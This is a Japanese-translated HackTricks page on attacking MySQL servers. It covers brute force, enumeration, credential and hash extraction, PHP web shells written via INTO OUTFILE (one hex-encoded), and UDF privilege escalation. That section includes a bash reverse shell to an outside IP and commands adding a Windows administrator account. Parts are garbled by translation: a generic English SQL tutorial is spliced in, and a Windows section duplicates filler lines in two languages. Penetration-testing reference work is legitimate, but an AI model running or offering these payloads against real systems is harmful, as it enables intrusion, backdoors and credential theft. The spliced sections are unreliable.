hacktricks/network-services-pentesting/pentesting-mysql.md
2023-07-07 23:42:27 +00:00

39 KiB
Raw Blame History

3306 - Pentesting Mysql

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • あなたはサイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
  • The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
  • 公式のPEASSHackTricks swagを手に入れましょう
  • 💬 Discordグループまたはtelegramグループ参加するか、Twitterフォローしてください🐦@carlospolopm.
  • ハッキングのトリックを共有するために、PRをhacktricksリポジトリhacktricks-cloudリポジトリに提出してください。

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

基本情報

MySQLは、構造化クエリ言語(SQLを使用するフリーオープンソースのリレーショナルデータベース管理システムRDBMSです。ここから

デフォルトポート: 3306

3306/tcp open  mysql

接続

ローカル

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

リモート

MySQL

MySQLは、オープンソースのリレーショナルデータベース管理システムであり、多くのWebアプリケーションで使用されています。MySQLサーバーに対するリモートアクセスをテストするために、以下の手法を使用できます。

ポートスキャン

MySQLサーバーが実行されているホストでポートスキャンを実行し、MySQLのデフォルトポートである3306番ポートが開いているかどうかを確認します。

nmap -p 3306 <target_ip>
デフォルトのクレデンシャル

MySQLサーバーには、デフォルトのクレデンシャルが設定されている場合があります。以下のクレデンシャルを試してみてください。

Username: root
Password: (空白)
ユーザーの辞書攻撃

ユーザー名とパスワードの辞書を使用して、MySQLサーバーに対してブルートフォース攻撃を実行します。

hydra -L <user_dictionary> -P <password_dictionary> <target_ip> mysql
SQLインジェクション

WebアプリケーションがMySQLデータベースとやり取りする場合、SQLインジェクションの脆弱性が存在する可能性があります。適切なテストベクトルを使用して、SQLインジェクション攻撃を実行します。

データベースの情報漏洩

MySQLサーバーに接続できた場合、データベースの情報を取得することができます。以下のコマンドを使用して、データベースの一覧を表示します。

SHOW DATABASES;
ユーザーの情報漏洩

MySQLサーバーに接続できた場合、ユーザーの情報を取得することができます。以下のコマンドを使用して、ユーザーの一覧を表示します。

SELECT user FROM mysql.user;
データベースのダンプ

MySQLサーバーに接続できた場合、データベースのダンプを作成することができます。以下のコマンドを使用して、データベースのダンプを作成します。

mysqldump -u <username> -p <database_name> > dump.sql
リモートコード実行

MySQLサーバーに接続できた場合、一部のバージョンではリモートコード実行が可能な場合があります。以下のコマンドを使用して、リモートコード実行を試みます。

SELECT /*!50000*/ 0x3c3f706870206576616c28245f504f53545b2272616e646f6d5f636f6465225d293b3f3e INTO OUTFILE '/var/www/html/shell.php';

これにより、shell.phpという名前のファイルが作成され、リモートコード実行が可能になります。

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

外部列挙

一部の列挙アクションには有効な資格情報が必要です。

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

ブルートフォース

任意のバイナリデータを書き込む

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQLコマンド

MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.

1. Connecting to MySQL

To connect to a MySQL database, you can use the following command:

mysql -h <host> -u <username> -p

Replace <host> with the hostname or IP address of the MySQL server, <username> with the username, and <password> with the password.

2. Creating a Database

To create a new database, you can use the CREATE DATABASE command:

CREATE DATABASE <database_name>;

Replace <database_name> with the desired name for the database.

3. Selecting a Database

To select a database to work with, you can use the USE command:

USE <database_name>;

Replace <database_name> with the name of the database you want to select.

4. Creating Tables

To create a new table in a database, you can use the CREATE TABLE command:

CREATE TABLE <table_name> (
    <column1_name> <column1_type>,
    <column2_name> <column2_type>,
    ...
);

Replace <table_name> with the desired name for the table, <column1_name> with the name of the first column, <column1_type> with the data type of the first column, and so on.

5. Inserting Data

To insert data into a table, you can use the INSERT INTO command:

INSERT INTO <table_name> (<column1_name>, <column2_name>, ...)
VALUES (<value1>, <value2>, ...);

Replace <table_name> with the name of the table, <column1_name> with the name of the first column, <column2_name> with the name of the second column, and so on. Replace <value1>, <value2>, etc. with the actual values you want to insert.

6. Querying Data

To retrieve data from a table, you can use the SELECT command:

SELECT <column1_name>, <column2_name>, ...
FROM <table_name>
WHERE <condition>;

Replace <column1_name>, <column2_name>, etc. with the names of the columns you want to retrieve. Replace <table_name> with the name of the table. Replace <condition> with the condition that the retrieved data must meet.

7. Updating Data

To update data in a table, you can use the UPDATE command:

UPDATE <table_name>
SET <column1_name> = <new_value1>, <column2_name> = <new_value2>, ...
WHERE <condition>;

Replace <table_name> with the name of the table. Replace <column1_name>, <column2_name>, etc. with the names of the columns you want to update. Replace <new_value1>, <new_value2>, etc. with the new values you want to set. Replace <condition> with the condition that the data to be updated must meet.

8. Deleting Data

To delete data from a table, you can use the DELETE FROM command:

DELETE FROM <table_name>
WHERE <condition>;

Replace <table_name> with the name of the table. Replace <condition> with the condition that the data to be deleted must meet.

These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQLの権限列挙

MySQLの権限列挙は、データベースサーバー上のユーザーの権限を特定するための重要な手法です。以下に、MySQLの権限列挙に使用できるいくつかのテクニックを示します。

1. SHOW GRANTSコマンド

SHOW GRANTSコマンドは、ユーザーに与えられた権限を表示するために使用されます。次のコマンドを使用して、特定のユーザーの権限を表示できます。

SHOW GRANTS FOR 'username'@'localhost';

2. INFORMATION_SCHEMAデータベース

INFORMATION_SCHEMAデータベースには、MySQLサーバーのメタデータが格納されています。以下のクエリを使用して、ユーザーの権限に関する情報を取得できます。

SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';

3. mysql.userテーブル

mysql.userテーブルには、MySQLサーバーのユーザーに関する情報が格納されています。次のクエリを使用して、ユーザーの権限に関する情報を取得できます。

SELECT * FROM mysql.user WHERE user = 'username';

これらのテクニックを使用して、MySQLの権限を列挙することができます。これにより、セキュリティ上の脆弱性や潜在的な攻撃経路を特定することができます。

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

ドキュメントでは、各権限の意味がわかります:https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQLファイルRCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

クライアントによるMySQL任意のファイル読み取り

実際には、テーブルにローカルデータをロードするときに、MySQLまたはMariaDBサーバーはクライアントにファイルの内容を読み取り、その内容を送信するように要求します。したがって、自分のMySQLサーバーに接続するようにmysqlクライアントを改ざんできれば、任意のファイルを読み取ることができます。
なお、これは次のような動作です:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(「local」という単語に注意)
「local」がないと、次のような結果になります

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

初期のPoC: https://github.com/allyshka/Rogue-MySql-Server
この論文では、攻撃の完全な説明やRCEへの拡張方法さえ見ることができます: https://paper.seebug.org/1113/
ここでは攻撃の概要を見つけることができます: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進する使命を持つこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活気ある交流の場です。

{% embed url="https://www.rootedcon.com/" %}

POST

Mysqlユーザー

もしmysqlがrootとして実行されている場合、非常に興味深いことです。

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnfの危険な設定

https://academy.hackthebox.com/module/112/section/1238から

設定 説明
user MySQLサービスが実行されるユーザーを設定します。
password MySQLユーザーのパスワードを設定します。
admin_address 管理ネットワークインターフェースでTCP/IP接続を待ち受けるためのIPアドレスを設定します。
debug この変数は現在のデバッグ設定を示します(ログ内の機密情報)。
sql_warnings この変数は、単一行のINSERTステートメントが警告が発生した場合に情報文字列を生成するかどうかを制御しますログ内の機密情報
secure_file_priv この変数は、データのインポートおよびエクスポート操作の効果を制限するために使用されます。

特権昇格

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

ライブラリを使用した特権昇格

もしmysqlサーバーがrootユーザー(または他の特権を持つユーザー)として実行されている場合、コマンドを実行させることができます。そのためには、ユーザー定義関数を使用する必要があります。そして、mysqlを実行しているOSのためのライブラリを作成する必要があります。

悪意のあるライブラリは、sqlmapやmetasploitの中にある**locate "*lib_mysqludf_sys*"を実行することで見つけることができます。.soファイルはLinuxのライブラリであり、.dllファイルはWindows**のものです。必要なものを選択してください。

もしもこれらのライブラリを持っていない場合は、それらを探すか、このLinux Cコードをダウンロードし、Linuxの脆弱なマシン内でコンパイルしてください。

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

今、ライブラリを持っているので、特権ユーザーrootとしてMysqlにログインし、次の手順に従ってください

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

ウィンドウズ

MySQL Service
MySQL サービス
MySQL Enumeration
MySQL 列挙

To enumerate MySQL service on a Windows machine, you can use the following techniques:

ウィンドウズマシン上のMySQLサービスを列挙するために、以下のテクニックを使用することができます。

1. Port Scanning
1. ポートスキャン

Perform a port scan to identify if the MySQL service is running on the target machine. You can use tools like Nmap or Masscan for this purpose.

ポートスキャンを実行して、ターゲットマシンでMySQLサービスが実行されているかどうかを特定します。この目的のために、NmapやMasscanなどのツールを使用することができます。

2. Banner Grabbing
2. バナーグラビング

Use tools like Telnet or Netcat to connect to the MySQL service port (default is 3306) and grab the banner information. This can provide valuable information about the MySQL version and other details.

TelnetやNetcatなどのツールを使用して、MySQLサービスポートデフォルトは3306に接続し、バナー情報を取得します。これにより、MySQLのバージョンやその他の詳細な情報を得ることができます。

3. Service Enumeration
3. サービス列挙

Use tools like Metasploit or Nmap scripts to enumerate the MySQL service and gather information about the running version, supported authentication methods, and other details.

MetasploitやNmapスクリプトなどのツールを使用して、MySQLサービスを列挙し、実行中のバージョン、サポートされている認証方法、その他の詳細な情報を収集します。

4. Default Credentials
4. デフォルトの資格情報

Try using default credentials for MySQL, such as "root" with no password, to gain unauthorized access to the service.

MySQLのデフォルトの資格情報パスワードなしの "root")を使用して、サービスへの不正アクセスを試みます。

5. Brute-Force Attacks
5. ブルートフォース攻撃

If default credentials do not work, you can try brute-forcing the MySQL service using tools like Hydra or Medusa. This involves systematically trying different username and password combinations until a valid one is found.

デフォルトの資格情報が機能しない場合、HydraやMedusaなどのツールを使用してMySQLサービスをブルートフォース攻撃することができます。これには、有効な組み合わせが見つかるまで、異なるユーザー名とパスワードの組み合わせをシステム的に試すことが含まれます。

6. Exploiting Vulnerabilities
6. 脆弱性の悪用

If any known vulnerabilities exist in the MySQL service, you can attempt to exploit them using tools like Metasploit or custom scripts.

MySQLサービスに既知の脆弱性が存在する場合、Metasploitやカスタムスクリプトなどのツールを使用してそれらを悪用することができます。

7. SQL Injection
7. SQLインジェクション

If the target application is using MySQL as its database, you can try SQL injection attacks to gain unauthorized access to the database or extract sensitive information.

ターゲットアプリケーションがデータベースとしてMySQLを使用している場合、SQLインジェクション攻撃を試みて、データベースへの不正アクセスや機密情報の抽出を行うことができます。

8. Password Cracking
8. パスワードクラッキング

If you have obtained a hash of a MySQL user's password, you can use tools like John the Ripper or Hashcat to crack the password and gain unauthorized access to the MySQL service.

MySQLユーザーのパスワードのハッシュを取得した場合、John the RipperやHashcatなどのツールを使用してパスワードをクラックし、MySQLサービスへの不正アクセスを行うことができます。

9. Privilege Escalation
9. 特権昇格

If you have gained access to a MySQL user account with limited privileges, you can try to escalate your privileges by exploiting vulnerabilities or misconfigurations in the MySQL service.

制限された特権を持つMySQLユーザーアカウントにアクセスできた場合、MySQLサービスの脆弱性や誤った設定を悪用して特権を昇格させることができます。

10. Data Exfiltration
10. データの外部流出

If you have gained unauthorized access to the MySQL service, you can exfiltrate data by extracting it from the database or by executing commands on the target machine.

MySQLサービスへの不正アクセスに成功した場合、データベースからデータを抽出したり、ターゲットマシンでコマンドを実行したりすることで、データを外部に流出させることができます。

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

ファイルからMySQLの認証情報を抽出する

/etc/mysql/debian.cnf 内には、ユーザー debian-sys-maint平文のパスワード が記載されています。

cat /etc/mysql/debian.cnf

以下の資格情報を使用して、MySQLデータベースにログインできます。

ファイル:/var/lib/mysql/mysql/user.MYD 内には、MySQLユーザーのすべてのハッシュデータベース内のmysql.userから抽出できるものが含まれています。

抽出するには、次の手順を実行できます。

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

ロギングの有効化

/etc/mysql/my.cnf 内の mysql クエリのロギングを有効化するために、以下の行のコメントを外します:

便利なファイル

設定ファイル

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • コマンド履歴
  • ~/.mysql.history
  • ログファイル
  • connections.log
  • update.log
  • common.log

デフォルトの MySQL データベース/テーブル

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識の促進を使命として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥